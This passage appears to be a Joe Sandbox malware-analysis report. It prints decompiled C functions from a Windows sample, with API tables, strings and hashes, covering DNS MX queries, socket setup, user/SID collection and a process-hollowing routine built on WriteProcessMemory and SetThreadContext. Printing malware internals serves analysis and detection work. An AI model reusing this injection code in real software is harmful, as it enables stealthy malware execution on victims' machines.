					if(( *_t157 & 0x00000001) == 0) {
						_t73 =  &(_t157[0x34]); // 0xa1c35e5f
						_t157[8] =  *_t73;
						goto L31;
					}
					_t93 = GetTickCount();
					_t21 =  &(_t157[0x4c]); // 0x26fce850
					if(_t93 -  *_t21 >= 0x2710) {
						goto L31;
					}
					if(_t157[0x54] == _t122) {
						_t95 = 0x3e8;
					} else {
						_t117 = GetTickCount();
						_t23 =  &(_t157[0x54]); // 0x41366c1d
						_t95 = _t117 -  *_t23;
					}
					_t123 = _t95;
					if(_t95 < 1) {
						_t123 = 1;
					}
					if(_t123 > 0x4e20) {
						_t123 = 0x4e20;
					}
					_t24 =  &(_t157[0x58]); // 0x701d8900
					_t25 =  &(_t157[0x40]); // 0x74c33b57
					_t151 =  *_t25;
					_t132 =  *_t24 * 0x3e8;
					_push(_t158);
					asm("cdq");
					_push(0x14);
					_a4 = _t123;
					asm("cdq");
					_t101 = (_t132 - _t151) * _t123 / 0x3e8 / 0x3e8;
					if(_t101 == 0) {
						__eflags = _t132 - _t151;
						if(__eflags == 0) {
							goto L22;
						}
						if(__eflags >= 0) {
							_t156 = _t151 + 1;
							__eflags = _t156;
						} else {
							_t156 = _t151 - 1;
						}
						goto L21;
					} else {
						_t156 = _t151 + _t101;
						L21:
						_t157[0x40] = _t156;
						L22:
						if(_t157[0x40] < 0) {
							_t157[0x40] = _t157[0x40] & 0x00000000;
						}
						_t39 =  &(_t157[0x40]); // 0x74c33b57
						_t163 = (0xc8 -  *_t39) * 0x14;
						if(_t123 > 0x3e8) {
							_a4 = 0x3e8;
						}
						asm("cdq");
						_t46 =  &(_t157[0x14]); // 0x5f004120
						_t47 =  &(_t157[0x10]); // 0x59be026a
						asm("cdq");
						_t49 =  &(_t157[0x30]); // 0xe4754f45
						_t54 =  &(_t157[0x20]); // 0x406a0000
						_t108 = E0040A505(_t163 * _a4 / 0x3e8 /  *_t49 +  *_t54,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t56 =  &(_t157[0x2c]); // 0xc68314c4
						_t157[0x20] = _t108;
						_t112 = E0040A505(_t163 /  *_t56 + _t108,  *_t47 * 0x3e8,  *_t46 * 0x3e8);
						asm("cdq");
						_t122 = 0;
						_t157[0x58] = 0;
						_t154 = _t112 / 0x3e8;
						_t157[0x54] = GetTickCount();
						_t68 =  &(_t157[0x34]); // 0xa1c35e5f
						_t115 =  *_t68;
						if(_t115 <= _t154) {
							_t157[8] = _t115;
							_t157[0x20] = _t115 * 0x3e8;
						} else {
							_t157[8] = _t154;
							_t157[0x1c] = _t154 * 0x2710;
						}
						goto L31;
					}
				}
			}

0x0040c2dc
0x0040c2de
0x0040c2e4
0x0040c2e9
0x0040c2ef
0x0040c482
0x0040c485
0x0040c488
0x0040c48b
0x0040c48e
0x0040c491
0x0040c494
0x0040c497
0x0040c499
0x0040c499
0x0040c4a0
0x0040c4a3
0x0040c4a6
0x0040c4a9
0x0040c4d5
0x0040c4d5
0x0040c4d5
0x0040c4c1
0x0040c4c9
0x00000000
0x00000000
0x00000000
0x0040c4cc
0x0040c2fe
0x0040c326
0x0040c329
0x0040c337
0x0040c337
0x0040c337
0x0040c342
0x0040c345
0x0040c348
0x0040c348
0x0040c34e
0x0040c351
0x0040c354
0x0040c357
0x00000000
0x0040c357
0x0040c32b
0x0040c32d
0x0040c330
0x0040c335
0x00000000
0x00000000
0x00000000
0x0040c300
0x0040c300
0x0040c300
0x0040c30b
0x0040c316
0x0040c319
0x0040c31c
0x0040c321
0x0040c35a
0x0040c35d
0x0040c47a
0x0040c47d
0x00000000
0x0040c47d
0x0040c363
0x0040c365
0x0040c36d
0x00000000
0x00000000
0x0040c376
0x0040c37f
0x0040c378
0x0040c378
0x0040c37a
0x0040c37a
0x0040c37a
0x0040c384
0x0040c389
0x0040c38d
0x0040c38d
0x0040c395
0x0040c397
0x0040c397
0x0040c399
0x0040c39c
0x0040c39c
0x0040c39f
0x0040c3ac
0x0040c3ad
0x0040c3b5
0x0040c3b8
0x0040c3bc
0x0040c3bd
0x0040c3c1
0x0040c3c7
0x0040c3c9
0x00000000
0x00000000
0x0040c3cb
0x0040c3d0
0x0040c3d0
0x0040c3cd
0x0040c3cd
0x0040c3cd
0x00000000
0x0040c3c3
0x0040c3c3
0x0040c3d1
0x0040c3d1
0x0040c3d4
0x0040c3d8
0x0040c3da
0x0040c3da
0x0040c3e3
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c3f2
0x0040c3fd
0x0040c405
0x0040c408
0x0040c419
0x0040c41a
0x0040c41d
0x0040c421
0x0040c42a
0x0040c42b
0x0040c430
0x0040c436
0x0040c43b
0x0040c443
0x0040c448
0x0040c44b
0x0040c453
0x0040c456
0x0040c456
0x0040c45c
0x0040c46c
0x0040c475
0x0040c45e
0x0040c45e
0x0040c467
0x0040c467
0x00000000
0x0040c45c
0x0040c3c1

APIs

Part of subcall function 0040A4C7: GetTickCount.KERNEL32 ref: 0040A4D1
Part of subcall function 0040A4C7: InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

GetTickCount.KERNEL32 ref: 0040C31F
GetTickCount.KERNEL32 ref: 0040C32B
GetTickCount.KERNEL32 ref: 0040C363
GetTickCount.KERNEL32 ref: 0040C378
GetTickCount.KERNEL32 ref: 0040C44D
InterlockedIncrement.KERNEL32(0040C4E4), ref: 0040C4AE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0040C4E0), ref: 0040C4C1
CloseHandle.KERNEL32(00000000,?,0040C4E0,00413588,00408810), ref: 0040C4CC

Strings

localcfg, xrefs: 0040C2DD

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked$CloseCreateExchangeHandleIncrementThread
String ID: localcfg
API String ID: 1553760989-1857712256
Opcode ID: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction ID: d79c9f10581ee3273b6165e92ba068ddd4f199cf4cd09fd02743c11af2233124
Opcode Fuzzy Hash: afac293e63498dd1283f128a7be93ce9089d2193a9ff6ee31ee25d998cb0b475
Instruction Fuzzy Hash: 0E515CB1A00B41CFC7249F6AC5D552ABBE9FB48304B509A3FE58BD7A90D778F8448B14

Uniqueness

Uniqueness Score: -1.00%

Function 0063F565, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0063CC6D), ref: 0063F59D
socket.WS2_32(00000002,00000001,00000000), ref: 0063F5B7
closesocket.WS2_32(00000000), ref: 0063F5C5

Strings

time_cfg, xrefs: 0063F573
ps, xrefs: 0063F5C5, 0063F5F0
^s, xrefs: 0063F619

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: ps$time_cfg$^s
API String ID: 311057483-2063425486
Opcode ID: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction ID: a51434420ec5b6c545f2d00d23dbd413526df7231901054e5f9046f920368431
Opcode Fuzzy Hash: 35ab9fe366417f7a0644d99ffa926dabfa0554eb5add049d4f688aed03fde98e
Instruction Fuzzy Hash: 55315C72900118ABDB109FA4DC89DEE7BBDEF89314F104166F915E3150E7709A858BE8

Uniqueness

Uniqueness Score: -1.00%

Function 00633042, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memorylibrarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll), ref: 00633051
LoadLibraryA.KERNEL32(iphlpapi.dll), ref: 00633061
GetProcAddress.KERNEL32(00000000,00410408), ref: 0063307E
RtlAllocateHeap.NTDLL(00000000), ref: 0063309F
htons.WS2_32(00000035), ref: 006330D8
inet_addr.WS2_32(?), ref: 006330E3
gethostbyname.WS2_32(?), ref: 006330F6
HeapFree.KERNEL32(00000000), ref: 00633136

Strings

iphlpapi.dll, xrefs: 0063304B, 00633050, 00633060

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: iphlpapi.dll
API String ID: 2869546040-3565520932
Opcode ID: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction ID: bfa7c0df4b68f5227b4e1cbb7bc2c1cc14d3cb199867f5d822ae9e0ca0e45fe2
Opcode Fuzzy Hash: 1e8713dd52c6e8bc37e9b2497aa4af782d9b250ffd42f9daf4508d8acafa4540
Instruction Fuzzy Hash: C931C231A00216ABDB109BB9DC48AEE7BB9EF05761F144125F914E7390DB74DA818BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,73BCEA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

DnsQuery_A, xrefs: 00402D5B
dnsapi.dll, xrefs: 00402D29

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85
PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
GetSystemWow64DirectoryA, xrefs: 00406CDD
kernel32, xrefs: 00406CE2

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,PromptOnSecureDesktop), ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

D, xrefs: 004097A9
PromptOnSecureDesktop, xrefs: 00409785

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00636761, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000008), ref: 006367AC
htonl.WS2_32(?), ref: 006367C8
htonl.WS2_32(?), ref: 006367D7
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000), ref: 006368DA
ExitProcess.KERNEL32 ref: 006369A5

Strings

localcfg, xrefs: 0063697D
except_info, xrefs: 00636978

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Processhtonl$CurrentExitHugeRead
String ID: except_info$localcfg
API String ID: 1150517154-3605449297
Opcode ID: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction ID: 6dc6776723d2bbeaa39f112cba47ba31fe27ab2d5c74a1c0f18a9ff785c6c8a0
Opcode Fuzzy Hash: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction Fuzzy Hash: 05615171940208AFDB609FB4DC45FE977E9FF08300F24806AF96DD2161DAB59994CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

|, xrefs: 00406FB3
/%d, xrefs: 00407030

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 00632F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00632F8A
LoadLibraryA.KERNEL32(?), ref: 00632F9A
GetProcAddress.KERNEL32(00000000,004103F0), ref: 00632FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00632FE9
RtlAllocateHeap.NTDLL(00000000), ref: 00632FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 0063301B

Strings

dnsapi.dll, xrefs: 00632F79

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: bc42be254e8e5d65851793d1f084e544c8245e06001d42703effd0147c4da1a0
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: 2421837194162ABBCB229B54DC44EEFBBBEEF18B50F108065F905E7210D7B09E818BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
